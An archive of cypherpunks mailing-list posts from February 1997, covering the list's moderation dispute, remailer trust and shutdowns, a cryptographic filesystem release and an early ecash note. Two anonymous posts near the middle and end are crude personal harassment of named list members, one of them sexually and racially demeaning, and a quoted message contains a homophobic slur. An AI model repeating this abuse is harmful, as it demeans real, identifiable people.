rename the lists so that cypherpunks@toad.com was uncensored???
You and I know perfectly well that probably 1250 of those addresses 
are people who don`t know the censorship is taking place, don`t read 
the list (defunct accounts), don`t know how to change their 
subscription, are too lazy to care either way etc... I would guess 
there are less than 100 that have considered the issues and decided 
to subscribe to the censored list.

> If I was a social scientist I might want to run the experiment both
> ways, or six different ways.  Name it this, or name it that.  I'm not;
> all I want is something that works.  The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

No, it was usable to those with time and patience or the rather 
rudimentary knowledge necessary to set up filters. Now all we are 
doing is relegating a list that was once subscribed to by intelligent 
and well educated people into a playground for the inept. I`m not 
being elitist but if we can`t expect a member of this list who 
actually uses it for discussion to know how to set up filters then he 
might as well unsubscribe.
 

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.  "Asking the list what to do" was clearly not a useful
> option.  Sandy cared enough about the community to make some concrete
> suggestions to me about how to get the list back on track.  They
> involved a lot more work than the previous setup.  I told him if he
> was willing to do the work, we could try it.  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

You should indeed have shut down the list. The problem being not that 
you choose to run a censored list but that you have associated the 
name cypherpunks with it and in doing so you have destroyed the 
reputation that the name cypherpunks once had.

> Unpaid labor for a peanut gallery of spoiled children isn't very
> gratifying.

Paternalism is the root of all statism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 6 Feb 1997 19:28:22 -0800 (PST)
To: Charley Musselman <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <3.0.32.19970206192301.006e2260@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:19 PM 2/6/97 +0000, Charley Musselman wrote:
>C'punks --
>	When I told a friend about the alt.drugs.pot cultivation newsgroup
>and suggested that he use an anonymous remailer to post to the group,
>he laughed and said, "Who do you suppose runs the remailers?  ATF,
>FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>anyone know the answer?  Specifically, how can we choose a trusted
>remailer?

There is no such thing as a trusted remailer, unless you know and trust the
remailer operator. That's why one should use remailer chains. If only one
remailer in the chain is run by a non-TLA operator, you are safe.

Just for the record, I know numerous remailer operators. I am convinced
that neither of them works for any TLA in any way. YMMV.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Thu, 6 Feb 1997 16:34:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu>
Message-ID: <32FA7951.38A3@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


lcs Remailer Administrator wrote:
> 
> Because of recent attacks on the remailer network and mail2news
> gateways, I may loose access to at least one of the news servers I
> currently feed news to from my mail2news gateway.
> 
> If you are a news administrator, believe in free speech and anonymity,
> and you would like to help the cause, please consider giving transfer
> (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> not be the only server, and so do not need to worry about being the
> point of entrance of mail2news articles to Usenet.
> 
> Please contact me if you can help.  Thank you.
> 
> For those who oppose the existence of mail2news gateways, you should
> know that we are taking steps to limit the abuse.  However, doing so
> without in any way limiting articles that abide by the usage policy is
> tricky, and must be done carefully.  Please be patient.


  I'm writing from the Freedom Knights list but am in no way
representing them.
  
  What exactly do you mean by 'taking steps to limit the abuse'?  
Personally I think much of what is called abuse is nonsense and
that all posts, with the exception of cancels/NoCems should be
propogated regardless of content (including what is currently
referred to as spam).

  Also--could you forward to the Freedom Knights list a copy of
your 'usage policy' and impressions on the Freedom Knights two
FAQs.

  Thanks,

  Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 19:46:29 -0800 (PST)
To: lcs Remailer Administrator <mail2news@anon.lcs.mit.edu
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu>
Message-ID: <v03007804af2053e3c144@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain


I would be happy to provide access to news.cyberpass.net (its good to be
the King). Just let me know the machine name and IP.

	-Lance

At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote:
>Because of recent attacks on the remailer network and mail2news
>gateways, I may loose access to at least one of the news servers I
>currently feed news to from my mail2news gateway.
>
>If you are a news administrator, believe in free speech and anonymity,
>and you would like to help the cause, please consider giving transfer
>(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
>not be the only server, and so do not need to worry about being the
>point of entrance of mail2news articles to Usenet.
>
>Please contact me if you can help.  Thank you.
>
>For those who oppose the existence of mail2news gateways, you should
>know that we are taking steps to limit the abuse.  However, doing so
>without in any way limiting articles that abide by the usage policy is
>tricky, and must be done carefully.  Please be patient.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zinc <zinc@zifi.genetics.utah.edu>
Date: Thu, 6 Feb 1997 18:47:44 -0800 (PST)
To: cryptography@c2.net
Subject: lead remailer is shut down
Message-ID: <lv6805fi2q.fsf@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

-----BEGIN PGP SIGNED MESSAGE-----

hi,

i came in today to find they (university system admins) had pulled the
plug on my machine.  this is all because some luser spammed usenet
using the remailer on my machine.  thanks a lot.

so, the lead remailer is gone for good; it lasted almost exactly one
year. 

it was nice while it lasted.

- -patrick finerty
biochem grad student, u of utah

- -- 
"Those that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
		   finger zinc-pgp@zifi for PGP key
zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
clfXhusEPPg=
=0fse
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:01:51 -0800 (PST)
To: Bill Stewart <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <199702061921.LAA28330@toad.com>
Message-ID: <v03007808af205735893e@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


It would be a trivial hack for Mixmaster. It allways knows if a message if
going to another remailer, or if this is the last hop, so it can add the
disclaimer only on the last hop.

	-Lance

At 4:06 PM -0800 2/6/97, Bill Stewart wrote:
>At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>>> People don't read mail headers or disclaimers at the bottom,
>>> and putting disclaimers like that into message text for
>>> email exposes the message to traffic analysis.)
>
>>How does putting it in the message expose it to traffic analysis but not
>>putting it in a header?
>
>Suppose you're sending a message on a remailer chain of
>you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
>and Bob puts lots of disclaimers in his remailer's outgoing messages.
>Anything Bob puts in a header will get stripped out by Charlie,
>so it's no problem.  However, if Bob tacks a disclaimer
>as the bottom text in the outgoing message, when Eve sends
>mail to Fred she'll also see the disclaimer that
>	The message was sent by an anonymous user
>	through the remailer at Bob's Remailer Shack.
>	Bob doesn't know who sent it, and doesn't keep records,
>	so he can't squash the user, but he can block mail to you
>	if you don't want any more anonymous email.
>	Don't believe everything you read!
>so she'll know to check the FBI Illegal Wiretap files for Bob.
>
>Some comments and backtracking
>0) Of course, if you want to avoid traffic analysis,
>sending unencrypted email is pretty stupid, and only the
>next hop is going to see a disclaimer that you append
>after the encrypted part of the message.
>
>1) Prepending the disclaimer to the message body is
>pretty unfriendly to the :: syntax, and not all that
>great for PGP encrypted messages either.  Pretend I
>really just suggested appending it at the end,
>since that's what I would have said if I'd been thinking :-)
>
>On the other hand, I suppose that you can see whether the
>next hop is a Type I remailer by looking for the :: or ##.
>
>2) Cutmarks would be a nice fix, but they require too much
>attention to detail to get right, in case the next hop
>is a remailer.
>
>So maybe you _should_ always put in the disclaimer,
>at the end, with a reminder to always encrypt your
>remailer-chain mail if you want to avoid traffic analysis :-)
>
>
>
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Feb 1997 12:05:23 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <199702062003.UAA00333@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things

William Murray used to post frequently to sci.crypt, alt.security.pgp,
etc when I read those forums.  He also I think wrote the forword for
one of the books on using PGP.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 6 Feb 1997 17:18:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Secure checksums
Message-ID: <199702070118.UAA32554@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto 
heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with 
girdle underneath to keep in his flabby gut, a Fredericks of Hollywood 
padded bra also underneath the halter, a cheap Naomi Sims pink afro 
wig, waiting to yank his crank whenever a black man responds to one of 
his inane rants.

               __
           ___|[]| Timothy C[reep] May
       \__|______|
       /-(o_o_o_o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 7 Feb 1997 19:24:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enlightened commentary on Netizen.
Message-ID: <9702062041.ZM18929@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


First, Rebecca Vesely has a special report, the main thrust
of which is that three firms being allowed to export 56 bit
encryption indicates flexibility on the part of the
government.

http://www.netizen.com/netizen/97/05/special2a.html

To top it off, here are two gems from the followup discussion.

http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387

2. 56 ONLY A SLIGHTLY SMALLER JOKE
    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST

    If it takes a college student four hours to break
    a 40bit code it should take him/her about six 
    hours to do the same to 56bits. Then what excuses 
    are the government and its butt-kissing companies 
    going to give us for not allowing *real* coding?

4. 56bits will not take 6 hours to crack
    Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST

    Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption
    is hard to crack is because the key system is based on the fact that factoring big numbers is a long,
    slow tedious process which gets exponentially harder as the length of the number increases. What this
    means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key.

    However, the question has to be asked, why the fuck should we non US citizens go and buy
    cryptographic software that is deliberately coded to allow the US government to read our mail? 

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 6 Feb 1997 18:04:15 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Transparent Cryptographic File System (fwd)
Message-ID: <199702070201.VAA29374@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Haven't seen this on cpunks.

----- Forwarded message from Kenneth Stailey -----

>From xtech-request@zephyr.ccrc.wustl.edu  Thu Feb  6 18:26:49 1997
Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST)
Message-Id: <199702062147.QAA29127@duality.gnu.ai.mit.edu>
From: Kenneth Stailey <kstailey@gnu.ai.mit.edu>
To: tech@openbsd.org
Subject: Transparent Cryptographic File System
Sender: owner-tech@openbsd.org
Precedence: bulk

Hi,

I thought that there might be some interest in looking at this:

From: ermmau@ios.diaedu.unisa.it (Ermelindo Mauriello)
Subject: New release of TCFS (Transparent Cryptographic File System)
Newsgroups: comp.os.linux.announce
Date: Thu, 16 Jan 1997 07:14:53 GMT
Followup-To: comp.os.linux.development.system
Organization: Universita' di SALERNO - Dip. Informatica ed Appl.
Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail
Lines: 51
Approved: linux-announce@news.ornl.gov (Lars Wirzenius)
Message-ID: <pgpmoose.199701160914.15063@liw.clinet.fi>
NNTP-Posting-Host: localhost
X-Server-Date: 16 Jan 1997 07:15:02 GMT
X-Original-Date: 15 Jan 1997 14:51:36 GMT
X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce
	iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII
	YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ==
	=aNko

-- Start of PGP signed section.
We are glad to announce that a new release of TCFS
(Transparent Cryptographic File System) for Linux
is now available.

TCFS is a cryptographic filesystem developed at the Universita' di
Salerno (Italy). It operates like NFS but allows users to use a new
flag X to make the files secure (encrypted).
In theis release files are encrypted using DES.

The new release works in Linux kernel space, and may be linked as
a module to Linux 2.0.x kernels.

A mailing-list is available at tcfs-list@mikonos.dia.unisa.it.
Documentation is available at http://mikonos.dia.unisa.it/tcfs.
Here you can find instructions for installing TCFS and docs on
how it works.

Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and
http://www.inopera.it/~ermmau/tcfs

                              \|||/
                              (o o)
     ----------------------ooO--O--Ooo-------------------------------
     ! ////////  //// ////  Ermelindo Mauriello                     !
     ! //        // /// //  e-mail: ermmau@edu-gw.dia.unisa.it      !
     ! /////     //  /  //          ermmau@pantelleria.dia.unisa.it !
     ! //        //     //          ermmau@globenet.it              !
     ! ///////   //     //          ermmau@inopera.it               !
     !--------------------------------------------------------------!
     !          LINUX - The choice of a GNU generation !!!          !
     ----------------------------------------------------------------
-- End of PGP signed section.

----- End of forwarded message from Kenneth Stailey -----

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 19:40:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702062042.MAA29621@toad.com>
Message-ID: <e5gq2D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Mark <mark@infolawalert.com> writes:
> > I'm almost certain that Murray is a consultant rather than
> > or in addition to an accountant. He's been saying these things
>
> William Murray used to post frequently to sci.crypt, alt.security.pgp,
> etc when I read those forums.  He also I think wrote the forword for
> one of the books on using PGP.

One of my first flame wars on Internet, some 15 years ago, was with
William H. Murray over my criticism of DES.  How time flies. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 21:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: My messages not appearing on either of the lists?
Message-ID: <v03007801af20611fe990@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

My posting seem to be going into Limbo, being sent neither to the
Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
Hell. At least this is how things now appear.

I sent the message below to the list this morning (Thursday) at 8:43 a.m.
PST. As of tonight, 12 hours later, I haven't seen it on either the
Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
to which I have temporarily subscribed (to see what Sandy counts as a
"flame").

Has anyone else seen it? I've looked, but there's always a chance I somehow
spaced out and missed it. (I doubt it though.) If I have missed it, despite
carefully scanning for it for the past 8-12 hours, my apologies. If it has
not appeared on either the Censored list or the Flames list, then something
is rotten in the state of Denmark.

By the way, I noted that many of the messages which appeared at the
Singapore Web archive site have dates much later than mine, including
several dated at least 8-10 hours after my message. Likewise, some of the
Flames messages are dated much later than my message.

(Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800,
Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on.
One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35
-0800, would by now either have been approved and hence on the Censored
list, or rejected as unfit for Cypherpunks to sully their neurons with, and
hence passed on to the Flames list. By the way, some of the "Flames"
messages are also dated late afternoon or evening.)

So, is my message just sitting around someplace, awaiting some final
decision? What's the basis of this decision? (Perhaps Sandy has "kicked it
upstairs" to John for him to decide on? Just a hypothesis....)

I will repeat my message below. As you will be able to see, my message
contains no "flames" of its own, and the messages it quotes do not seem
flamish to me, either.

(It is true that Vulis uses the phrase "Limey faggots," in reference to
beer-serving habits, but he does not directly insult any list members with
this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
be blocked from their usual characterizations of Congresscritters and NSA
stooges.)


I think a delay of greater than 11 hours in being distributed on one of the
two lists (even if my message is sent out in the next hour or so) is
unacceptable. If a moderator cannot get to traffic in the order in which it
was received and disposition it promptly, he or she has no business being a
moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best
of" compilations are a different matter, for reasons discussed many times
here.)

So, why hasn't this message appeared on one of the two lists?

--Tim May



>Date: Thu, 6 Feb 1997 08:43:35 -0800
>To: cypherpunks@toad.com
>From: "Timothy C. May" <tcmay@got.net>
>Subject: Re: Moderation [Tim,Sandy]
>Cc:
>Bcc:
>X-Attachments:
>
>
>I decided to subscribe only to the "cypherpunks flames" list, just to see
>what was being filtered into it.
>
>The message below is one example of what is going there. I received it,
>and the header includes the line: "Sender:
>owner-cypherpunks-unedited@toad.com", so I am surmising that it was indeed
>filtered into the flames list.
>
>Now, admittedly, the _content_ of this kind of post is "off-topic," but I
>sure don't see any evidence of _flames_.
>
>Is Sandy now filtering based on his notions of list relevance, and not
>just on the basis of insults, jabs, flames, and "lack of comity"? While
>lack of relevance may be a criterion for someone to filter by, it doesn't
>square with anything I recall Sandy citing, and it introduces a new and
>dimension to the debate.
>
>--Tim May
>
>(The entire post is included, to ensure that no one claims I am editing
>out any flames, insults, etc.)
>
>
>At 11:06 PM -0800 2/5/97, Dale Thorn wrote:
>>Dr.Dimitri Vulis KOTM wrote:
>>> Dale Thorn <dthorn@gte.net> writes:
>>
>>> > > > The drunk can be excluded, but when someone wants to use the drunk as
>>> > > > an example to escalate the exclusion to other persons who are not in
>>> > > > fact drunk, watch out!
>>
>>> > > If I get really really drunk, which happens very seldom, then I'm
>>> > > too drunk to post. I don't mind an occasional beer, though.
>>
>>> > > Oksas, have you ever tried beer? :-)
>>
>>> > I had my first beer(s) in three years at one of those industrial
>>> > parties last night.  It made the craps table action seem a bit
>>> > merrier, and the girls were friendlier too.
>>
>>> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
>>> one think: I like room-temperature beer better than cold beer. YMMV.
>>
>>Interesting coincidence for people on opposite coasts - the bar at
>>the hotel had two choices:  Bud regular and Coors light.  I took the
>>Coors.
>
>
>
>
>

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: c.musselman@internetmci.com (Charley Musselman)
Date: Thu, 6 Feb 1997 13:20:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous remailers
Message-ID: <32fa39d8.16371604@mail-relay.internetmci.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks --
	When I told a friend about the alt.drugs.pot cultivation newsgroup
and suggested that he use an anonymous remailer to post to the group,
he laughed and said, "Who do you suppose runs the remailers?  ATF,
FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
anyone know the answer?  Specifically, how can we choose a trusted
remailer?
Cheers (?),  Charley




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Thu, 6 Feb 1997 21:28:34 -0800 (PST)
To: dev-lucre@c2.net
Subject: World's first Ecash note
Message-ID: <199702070526.VAA12884@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The world's first Ecash note has been printed!

A USD 0.01 note made out to anyone can be found at:

	http://www.veriweb.com/people/jeremey/ecash/1_cent.html

The data portion of the note is a PDF417 2-D barcode, containing a
standard ecash payment of 1 US cent. 

The source code for the general PDF417 encoding and the ecash conversion
will be published as soon as I clean it up and come up with a somewhat
nicer interface. The PDF417 code should be useful for non-ecash stuff as
well, it will encode anything.

I will be bringing a bunch of notes to the bay-area cypherpunks meeting
Saturday.

Suggestions/comments appreciated.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvq83i/fy+vkqMxNAQH/tQP/fSgEQ8K0BQcwTJxnaF7aKg1LzNshMdey
A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU
2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy
nhEPFe2iSc4=
=v84p
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve <steve@idoru.demon.co.uk>
Date: Thu, 6 Feb 1997 13:50:10 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01BC1475.54A10860@idoru>
MIME-Version: 1.0
Content-Type: text/plain


I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
Get me off this list now.!
I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

-----Original Message-----
From:	Majordomo@toad.com [SMTP:Majordomo@toad.com]
Sent:	06 February 1997 19:43
To:	steve
Subject:	Your Majordomo request results

--

Your request of Majordomo was:
>>>> ------ =_NextPart_000_01BC1463.B5C5FAE0
END OF COMMANDS








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 01:11:06 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120059.SAA20410@manifold.algebra.com>
Message-ID: <199702062136.VAA00239@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> so we have myself, Jim Choate, and you who colunteer to host
> mailing lists for the distributed cypherpunks.
> 
> I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> 
> We can coordinate our efforts. Actually, we can even have a mini
> mailing list for people who want to participate in the distributed
> cypherpunks experiment. If there is any interest, I can create such 
> a list.

Please do.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 01:10:48 -0800 (PST)
To: attila@primenet.com
Subject: Re: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <199702111932.MAA23647@infowest.com>
Message-ID: <199702062141.VAA00241@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Attila T Hun <attila@primenet.com> writes:
>     tim:  
> 
>     two points you make: 
> 
>     1.  the propogation is slow...
> 
>     2.  some sites do not carry alt. groups
> 
>     are enough to kill an active discussion list. of course, it does
>     slow down excessive volume.

Is there any offline newsreading software for linux?  (Something to
grab feeds from an NNTP server of selected newsgroups to put in
/usr/spool/news/, and something to queue posts for posting via NNTP
when on line)

(My difficulty with USENET groups is that we have pay per second phone
bills over here, and online USENET reading is inefficient, that plus
propogation delays).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 21:37:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702070441.UAA09107@toad.com>
Message-ID: <v03007802af20705f7eae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Why was this message (attached below) sent to the "Flames" list? (*) It
contains an assertion that the remailer operators are colluding to reveal
identities, and this is surely a fit topic for discussion.

(* I have temporarily subscribed to the Flames list to see just what it is
being filtered or censored by Sandy. I received this message, and it had
the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
is a "Flames" message. It would help, by the way, if messages were more
clearly labelled by the Moderator as to which bucket he placed them in.)

While I don't believe this assertion about collusion by the remailer
operators is true, generally, this claim is clearly:

1. Not a flame, but an assertion of opinion.

2. Possibly not true, but it is not the job of the Moderator to decide on
truth.

3. Dealing with an important issue, to wit, the willingness (putatively) of
some remailer operators to talk amongst themselves to deal with "problems."

(If this is not a meaningful and important topic for the Cypherpunks list
to discuss, then what is?)

Here's the message:


At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote:
>c.musselman@internetmci.com (Charley Musselman) writes:
>
>> C'punks --
>> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>Even if the feds are not directtly involved, the so-called "cypher punk"
>remailers are run by people who should not be trusted.  Check out their
>remailer-operators list: it's full of announcements that some specific
>person posted something via the remailer that the operator didn't like.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 6 Feb 1997 22:01:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dr. Denning
Message-ID: <199702070601.WAA16910@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Vermin is a pimply dweeb sitting at a computer chortling
at his own imagined cleverness.

   _<_
  (_|_(  Dimwit Vermin
\-._|_,-,
 `-----'






